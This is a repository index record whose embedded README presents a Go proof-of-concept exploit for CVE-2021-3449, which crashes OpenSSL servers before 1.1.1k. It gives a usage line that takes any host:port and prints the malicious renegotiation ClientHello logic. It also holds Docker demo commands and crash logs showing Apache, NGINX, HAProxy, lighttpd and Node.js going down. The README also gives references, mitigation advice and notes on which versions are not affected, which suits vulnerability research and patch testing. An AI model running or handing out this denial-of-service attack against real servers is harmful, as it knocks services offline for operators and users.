{"id":13842374,"url":"https://github.com/riptl/cve-2021-3449","last_synced_at":"2025-05-10T18:33:17.421Z","repository":{"id":47534617,"uuid":"351622243","full_name":"riptl/cve-2021-3449","owner":"riptl","description":"CVE-2021-3449 OpenSSL denial-of-service exploit 👨🏻‍💻","archived":false,"fork":false,"pushed_at":"2021-08-25T01:00:49.000Z","size":127,"stargazers_count":226,"open_issues_count":0,"forks_count":39,"subscribers_count":6,"default_branch":"main","last_synced_at":"2025-05-07T02:52:00.419Z","etag":null,"topics":["cve-2021-3449","denial-of-service","exploit","openssl","tls"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/riptl.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-03-26T01:09:25.000Z","updated_at":"2025-04-24T20:26:35.000Z","dependencies_parsed_at":"2022-08-24T00:40:27.968Z","dependency_job_id":null,"html_url":"https://github.com/riptl/cve-2021-3449","commit_stats":null,"previous_names":["riptl/cve-2021-3449","terorie/cve-2021-3449"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/riptl%2Fcve-2021-3449","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/riptl%2Fcve-2021-3449/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/riptl%2Fcve-2021-3449/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/riptl%2Fcve-2021-3449/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/riptl","download_url":"https://codeload.github.com/riptl/cve-2021-3449/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253210579,"owners_count":21871846,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2021-3449","denial-of-service","exploit","openssl","tls"],"created_at":"2024-08-04T17:01:33.250Z","updated_at":"2025-05-09T07:38:01.124Z","avatar_url":"https://github.com/riptl.png","language":"Go","funding_links":[],"categories":["Go","Vulnerabilities with Details"],"sub_categories":["Implementation Issues"],"readme":"# CVE-2021-3449 OpenSSL \u003c1.1.1k DoS exploit\n\nUsage: `go run . -host hostname:port`\n\nThis program implements a proof-of-concept exploit of CVE-2021-3449\naffecting OpenSSL servers pre-1.1.1k if TLSv1.2 secure renegotiation is accepted.\n\nIt connects to a TLSv1.2 server and immediately initiates an RFC 5746 \"secure renegotiation\".\nThe attack involves a maliciously-crafted `ClientHello` that causes the server to crash\nby causing a NULL pointer dereference (Denial-of-Service).\n\n## References\n\n- [OpenSSL security advisory](https://www.openssl.org/news/secadv/20210325.txt)\n- [cve.mitre.org](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3449)\n- [Ubuntu security notice](https://ubuntu.com/security/notices/USN-4891-1) (USN-4891-1)\n- [Debian security tracker](https://security-tracker.debian.org/tracker/CVE-2021-3449)\n- [Red Hat CVE entry](https://access.redhat.com/security/cve/CVE-2021-3449)\n\n\u003e This issue was reported to OpenSSL on 17th March 2021 by Nokia. The fix was\n\u003e developed by Peter Kästle and Samuel Sapalski from Nokia.\n\n## Mitigation\n\nThe only known fix is to update `libssl1.1`.\n\nEven though some applications use hardened TLS configurations by default that disable TLS renegotiation,\nthey are still affected by the bug if running an old OpenSSL version.\n\n## Exploit\n\n`main.go` is a tiny script that connects to a TLS server, forces a renegotiation, and disconnects.\n\nThe exploit code was injected into a bundled version of the Go 1.14.15 `encoding/tls` package.\nYou can find it in `handshake_client.go:115`. The logic is self-explanatory.\n\n```go\n// CVE-2021-3449 exploit code.\nif hello.vers \u003e= VersionTLS12 {\n    if c.handshakes == 0 {\n        println(\"sending initial ClientHello\")\n        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms\n    } else {\n        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference\n        // if the supported_signature_algorithms extension is omitted,\n        // but supported_signature_algorithms_cert is present.\n        println(\"sending malicious ClientHello\")\n        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms\n    }\n}\n```\n\n– [@terorie](https://github.com/terorie)\n\n## Demo\n\nThe `demo/` directory holds configuration to patch various apps with a vulnerable version of OpenSSL.\n\nTest setup:\n- Download and compile the vulnerable OpenSSL 1.1.1j version locally\n- Prepare an Ubuntu 20.04 target container and upload the OpenSSL libraries\n- Install application onto target container\n- Start server and execute attack\n\nRequirements:\n- OpenSSL (on the host)\n- `build-essential` (Perl, GCC, Make)\n- Docker\n\n**Note: None of the listed web servers are vulnerable to CVE-2021-3449 with OpenSSL 1.1.1k or later.**\n\n| Server                                       | Distro       | Version | Demo                 | Result        |\n| -------------------------------------------- | ------------ | ------- | -------------------- | ------------- |\n| [OpenSSL s_server](#openssl-simple-server)   | -            | 1.1.1j  | `make demo-openssl`  | Crash         |\n| [Apache2](#apache2-httpd)                    | Ubuntu 18.04 | 2.4.29  | `make demo-apache2`  | Partial crash |\n| [HAProxy](#haproxy)                          | Ubuntu 18.04 | 1.8.8   | `make demo-haproxy`  | Crash         |\n| [HAProxy](#haproxy)                          | Ubuntu 20.04 | 2.0.13  | `make demo-haproxy`  | No effect     |\n| [lighttpd](#lighttpd)                        | Ubuntu 18.04 | 1.4.55  | `make demo-lighttpd` | Crash         |\n| [lighttpd](#lighttpd)                        | Ubuntu 20.04 | 1.4.55  | `make demo-lighttpd` | Crash         |\n| [lighttpd](#lighttpd)                        | Ubuntu 21.04 | 1.4.59  | `make demo-lighttpd` | No effect with config option |\n| [NGINX](#nginx)                              | Ubuntu 18.04 | 1.14.0  | `make demo-nginx`    | Partial crash |\n| [NGINX](#nginx)                              | Ubuntu 20.04 | 1.18.0  | `make demo-nginx`    | No effect     |\n| Node.js \u003c=12                                 | Ubuntu 18.04 |         |                      | No effect     |\n| [Node.js \u003e12](#nodejs)                       | Ubuntu 18.04 | ?       | `make demo-nodejs`   | Crash         |\n| [Node.js \u003e12](#nodejs)                       | Ubuntu 18.04 | 15.14.0 | `make demo-nodejs`   | No effect     |\n\nTo clean up all demo resources, run `make clean`.\n\n### OpenSSL simple server\n\nThe `openssl s_server` is a minimal TLS server implementation.\n\n* `make demo-openssl`: Full run (port 4433)\n* `make -C demo build-openssl`: Build target Docker image\n* `make -C demo start-openssl`: Start target at port 4433\n* `make -C demo stop-openssl`: Stop target\n\nResult: Full server crash.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl\na16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17\ndocker logs -f cve-2021-3449-openssl \u0026\nsleep 2\nwarning: Error disabling address space randomization: Operation not permitted\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\nUsing default temp DH parameters\nACCEPT\nsending initial ClientHello\nconnected\nsending malicious ClientHello\n\n[[truncated]]\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1\n#15 0x000055aa5a10f209 in sv_body ()\n#16 0x000055aa5a1302ec in do_server ()\n#17 0x000055aa5a114815 in s_server_main ()\n#18 0x000055aa5a0f9395 in do_cmd ()\n#19 0x000055aa5a0f9ee1 in main ()\nmalicious handshake failed, exploit might have worked\n```\n\n### Apache2 httpd\n\nApache2 `httpd` web server with default configuration is vulnerable.\n\n* `make demo-apache`: Full run (port 443)\n* `make -C demo build-apache`: Build target Docker image\n* `make -C demo start-apache`: Start target at port 443\n* `make -C demo stop-apache`: Stop target\n\nThank you to [@binarytrails](https://github.com/binarytrails) for the contribution.\n\nResult: Partial disruption, main process still alive but worker process crashed.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2\n0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8\ndocker logs -f cve-2021-3449-apache2 \u0026\n\n[[truncated]]\n\nsending initial ClientHello\nconnected\nsending malicious ClientHello\n[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)\n[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found\n[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)\n[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation\n[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found\nmalicious handshake failed, exploit might have worked: EOF\n[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2\n```\n\n### HAProxy\n\nHAProxy versions 2.0.13 and up are not affected.\n\nVersions before at least 1.8.8 are vulnerable with \"intermediate\" TLS configuration is vulnerable.\n\n* `make demo-haproxy`: Full run (port 4433)\n* `make -C demo build-haproxy`: Build target Docker image\n* `make -C demo start-haproxy`: Start target at port 4433\n* `make -C demo stop-haproxy`: Stop target\n\nTests run using master-worker mode (`-W` flag, default on Debian).\nSurprisingly, the master process exits if a worker process dies.\n\nResult: Full server crash.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy\n1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8\ndocker logs -f cve-2021-3449-haproxy \u0026\nsending initial ClientHello\nconnected\nsending malicious ClientHello\nmalicious handshake failed, exploit might have worked: EOF\n[ALERT] 086/075305 (1) : Current worker 7 exited with code 139\n[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM\n[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)\n```\n\n### lighttpd\n\nlighttpd versions 1.4.56 and up are not vulnerable if `ssl.disable-client-renegotiation = \"enable\"` is configured in lighttpd.conf.\n\nlighttpd web server \u003c= 1.4.55 with \"intermediate\" TLS configuration is vulnerable.\n\n* `make demo-lighttpd`: Full run (port 4433)\n* `make -C demo build-lighttpd`: Build target Docker image\n* `make -C demo start-lighttpd`: Start target at port 4433\n* `make -C demo stop-lighttpd`: Stop target\n\nResult: Full server crash.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd\n84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232\ndocker logs -f cve-2021-3449-lighttpd \u0026\nsending initial ClientHello\nconnected\nsending malicious ClientHello\nmalicious handshake failed, exploit might have worked: EOF\n/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf\n```\n\n### NGINX\n\nNGINX versions 1.18.0 and up are not vulnerable.\n\nNGINX 1.14.0 web server with common configuration is vulnerable. (https://nginxconfig.io)\n\nNGINX versions \u003e1.15.4 with OpenSSL \u003e=1.1.1 are assumed to be fine,\nsince they include the `SSL_OP_NO_RENEGOTIATION` patch:\nhttp://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html\n\n* `make demo-nginx`: Full run (port 4433)\n* `make -C demo build-nginx`: Build target Docker image\n* `make -C demo start-nginx`: Start target at port 4433\n* `make -C demo stop-nginx`: Stop target\n\nResult: Partial disruption, main process still alive but worker process crashed.\n\n**Logs**\n\n```\ndocker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx\nccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70\ndocker logs -f cve-2021-3449-nginx \u0026\nsending initial ClientHello\nconnected\nsending malicious ClientHello\nmalicious handshake failed, exploit might have worked: EOF\n2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)\n```\n\n### Node.js\n\nNode.js `https.createServer()` is vulnerable.\n\n* `make demo-nodejs`: Full run (port 4433)\n* `make -C demo build-nodejs`: Build target Docker image\n* `make -C demo start-nodejs`: Start target at port 4433\n* `make -C demo stop-nodejs`: Stop target\n\nResult: Full server crash.\n\n**Logs**\n\n```\nserver started\nsending initial ClientHello\nconnected\nsending malicious ClientHello\n\nThread 1 \"node\" received signal SIGSEGV, Segmentation fault.\n0x000000000160714e in tls1_process_sigalgs ()\n#0  0x000000000160714e in tls1_process_sigalgs ()\n#1  0x00000000016074b3 in tls1_set_server_sigalgs ()\n#2  0x00000000016007dd in tls_post_process_client_hello ()\n#3  0x00000000015ef692 in state_machine.part ()\n#4  0x00000000015c1a6d in ssl3_read_bytes ()\n#5  0x00000000015ca2c7 in ssl3_read ()\n#6  0x00000000015d6491 in SSL_read ()\n#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()\n#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const\u0026) ()\n#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()\n#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239\n#11 0x0000000001484c90 in uv__stream_io (loop=\u003coptimized out\u003e, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306\n#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462\n#13 0x0000000001479318 in uv_run (loop=0x45a1020 \u003cdefault_loop_struct\u003e, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385\n#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()\n#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()\n#16 0x0000000000a4f73a in node::Start(int, char**) ()\n#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 \u003cmain\u003e, argc=2, argv=0x7fff42035238, init=\u003coptimized out\u003e, fini=\u003coptimized out\u003e, rtld_fini=\u003coptimized out\u003e, stack_end=0x7fff42035228) at ../csu/libc-start.c:310\n#18 0x00000000009ce26c in _start ()\nmalicious handshake failed, exploit might have worked: EOF\n```\n\n## Copyright\n\nThis repository bundles the `encoding/tls` package of the Go programming language.\n\n```\n// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Friptl%2Fcve-2021-3449","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Friptl%2Fcve-2021-3449","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Friptl%2Fcve-2021-3449/lists"}